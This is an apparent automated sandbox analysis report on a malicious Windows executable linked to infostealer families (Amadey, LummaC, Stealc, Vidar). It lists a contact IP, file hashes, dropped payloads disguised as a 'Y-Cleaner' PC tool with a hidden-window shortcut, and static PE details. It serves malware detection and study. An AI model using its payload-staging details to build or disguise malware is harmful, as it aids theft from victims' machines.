INT-NETWORKSC	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse
	file.exe	Get hash	malicious	Nymaim	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_054ca832-4da3-4a14-8550-eae3a2a1cc01\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9701546753436142
Encrypted:	false
SSDEEP:	192:YiO++v6sPiA09OiiI3jud3szuiFPZ24IO8TVBV:YLJo9OiBj3zuiFPY4IO8X
MD5:	E8B3CF04C7759180E97637F2584927B0
SHA1:	D5FC71917175924AC52BA90DFF5384B6A5C138F7
SHA-256:	738BFE89A14109456FE22C3D81795CC2079C1317C08B300C629534BDE994ADFD
SHA-512:	6DC0C547AE5BFD1A733721CEF6E3AF82CEA0C80EE8827C8D0BDD6F44574A2997B7925D6B0B82D61552869BC8DEC8BCE874A5BC7155CD7A63BF1AD1F681BAF549
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.2.7.6.1.8.7.3.2.6.6.8.3.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.2.7.6.1.8.7.7.3.2.9.3.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.5.4.c.a.8.3.2.-.4.d.a.3.-.4.a.1.4.-.8.5.5.0.-.e.a.e.3.a.2.a.1.c.c.0.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.3.9.5.d.5.d.5.-.4.7.2.6.-.4.1.b.c.-.b.4.4.8.-.7.8.c.9.d.d.0.6.6.b.3.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.9.0.-.0.0.0.1.-.0.0.1.4.-.7.e.6.c.-.c.4.6.e.b.6.4.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.e.b.2.0.9.4.6.9.e.0.b.6.6.a.4.8.5.b.1.3.5.0.1.2.c.f.4.3.5.3.8.c.e.b.9.d.c.9.6.c.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC34.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 10 03:49:47 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46454
Entropy (8bit):	2.549430249599899
Encrypted:	false
SSDEEP:	384:fyOr2kN5j9W1Df+coFIwL/EBdnJDft+gjL:6spnj81Df+coFIVnJjYo
MD5:	000C90D60D2D54DF4B5142D37AFADCDA
SHA1:	95B8F0C8EA59B999A32F7A3769820E57A2F31D72
SHA-256:	F7FBC05B3DFEA6EC24D98F10254BC009819806E50EB9F8A0541549C46F8EADF7
SHA-512:	CFFBB02876B4BA4F2DFC3F7C85782178C01CCAD8C6F3E3B458F89A8BD3EE2966240EAA6FD1C040823BD7760D91BB8B8F30F297373A89629740514FC4DE8336F2
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......[.Wg............4...........8...<.......d....,..........T.......8...........T...........PB..&s..........t...........` ..............................................................................eJ....... ......GenuineIntel............T...........&.Wg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD00.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8300
Entropy (8bit):	3.692097047573262
Encrypted:	false
SSDEEP:	192:R6l7wVeJkCn6Y6Y9DSU/y7GgmfBGWVpDH89bBnsfTrm:R6lXJr6Y6YpSU/3gmfZYBsfO
MD5:	C71A3FD969E6CE202CC6A9E7D569124B
SHA1:	3A45B8537771646140F4BFCB86FE23EF11FA64A6
SHA-256:	E91035FA2D269BF24A556465717005EDA85D342D89A00B03ACC9B1564497B1CB
SHA-512:	72377EA919F2FDBCE44F1B27AD209CF6DE244D37B56163B6527B51A5408B3E8671A6F593FCE5B4787D2B7293B6B4C21FE86A007B60DD6B4C83F91B36322FC7CF
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD30.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.434127617435895
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbJg77aI9aiSWpW8VYjYm8M4JBRFNbm+q82ckl0+ld:uIjf1I7c87VLJva8B+ld
MD5:	679624E898F28D235723260EC9CBE0A8
SHA1:	3A0C1821127F79DFCFD021E554A04855553151F3
SHA-256:	592B32B7E6F9C06F0A32F0673D8EB2038C73F8F5733D10EC9913FD02310C8FA1
SHA-512:	7417A2BB4783AD4B96837F224D50437713D3B930C87AA7F69FA17FDF1E84D7641BABEFA10EA3F2DB115DD3FCB23F1108B982973B07A40C0CAEFF920938EC8032
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="624652" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Tue Dec 10 02:49:46 2024, mtime=Tue Dec 10 02:49:46 2024, atime=Tue Dec 10 02:49:46 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2149
Entropy (8bit):	3.8003780514979604
Encrypted:	false
SSDEEP:	48:8k3NHRZGbsOF+Y6vNuROx29ROGZ8qROzyF:8gNxZ8sO2N4OxUOaOzy
MD5:	AE733AA6DDFA78806C7F93AA6358968C
SHA1:	C01246A200027920760780E63EC3FDA35A2FFBF0
SHA-256:	C4311977F55A61477D72DAB6E6BA695E9DAE0D0A1095C2F5F0E5AEFAB22C0DF5
SHA-512:	A6D27BD231F197E93D98F66820B9CF2DFC7072D2EE34A65DA8DA55B97F3E744FBD81DC8D72053A88FD5F20E30953CB1CC21A956E69D7E08009EC730C4AF57544
Malicious:	false
Preview:	L..................F.@.. ....!..J...!..J...!..J............................:..DG..Yr?.D..U..k0.&...&......vk.v....Oc.j.J.._8+..J......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b.......................O.L.o.c.a.l.....N.1......Y....Temp..:......CW.^.Y......l.......................`.T.e.m.p.....j.1......Y5...EJEEE5~1..R......Y5..Y5...........................#<?.e.J.e.E.e.5.7.4.s.R.2.6.w.1.r.s.....h.2......Y8. .Y-CLEA~1.EXE..L......Y8..Y8..............................Y.-.C.l.e.a.n.e.r...e.x.e.......o...............-.......n...........-.......C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.4.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.J.e.E.e.5.7.4.s.R.2.6.w.1.r.s.\.Y.-.C.l.e.a.n.e.r...e.x.e.@.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.J.e.E.e.5.7.4.s.R.2.6.w.1.r.s.\.Y.-

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4652654947371815
Encrypted:	false
SSDEEP:	6144:gIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbj:lXD94+WlLZMM6YFH1+j
MD5:	1A87B53CEA97D39348F5B7CF86EC63AD
SHA1:	062E46E32DC40E5CF65F4392EE339772CACD359E
SHA-256:	EB6BB12C86DDF8EFB94D7824AD2D06F66B314983E423D98AB7F9D176D9FA8A89
SHA-512:	C37CAA1C4AE27F52B7D7EB09CB109CB2D155AA07DFCA0CCA3D8429D645C843E67894AD9C960154D2228BC5DF7DEBBF14F2222776ACEC5C0C3053CE4E4C38A5F5
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmn!u..J..............................................................................................................................................................................................................................................................................................................................................~.b.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.934391605242594
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'990'144 bytes
MD5:	054b1e771a301c1e792397a683ed0a90
SHA1:	eb209469e0b66a485b135012cf43538ceb9dc96c
SHA256:	6b2391a7841833a3524f5034b7287e55f4c8fbec8678ecf7a6040ada9c07fde1
SHA512:	23317dcaf76cc1a9dc6c3dc5e551c88905163625617abc7aa389255dd17ee9ca330303521fabfb91c3a33bf1c2a650f2935a7a047eadf1814ea60e2ec387275e
SSDEEP:	24576:is1z360xvZO1tdPFRKAykTASgVtAXOw7W90BiIcYXOovl+ydbiIFRP0KjaJb4iJO:nLw7dr7ItuZWobc61tbHFRFG4Sy6U
TLSH:	FB9533D3DD6262BCCC984477C8677FF4E40A6A72D890FB31920DC24D95B7A40AFE548A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc76000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FFAA451F23Ah

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x869a14	0x18	whvqijov
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
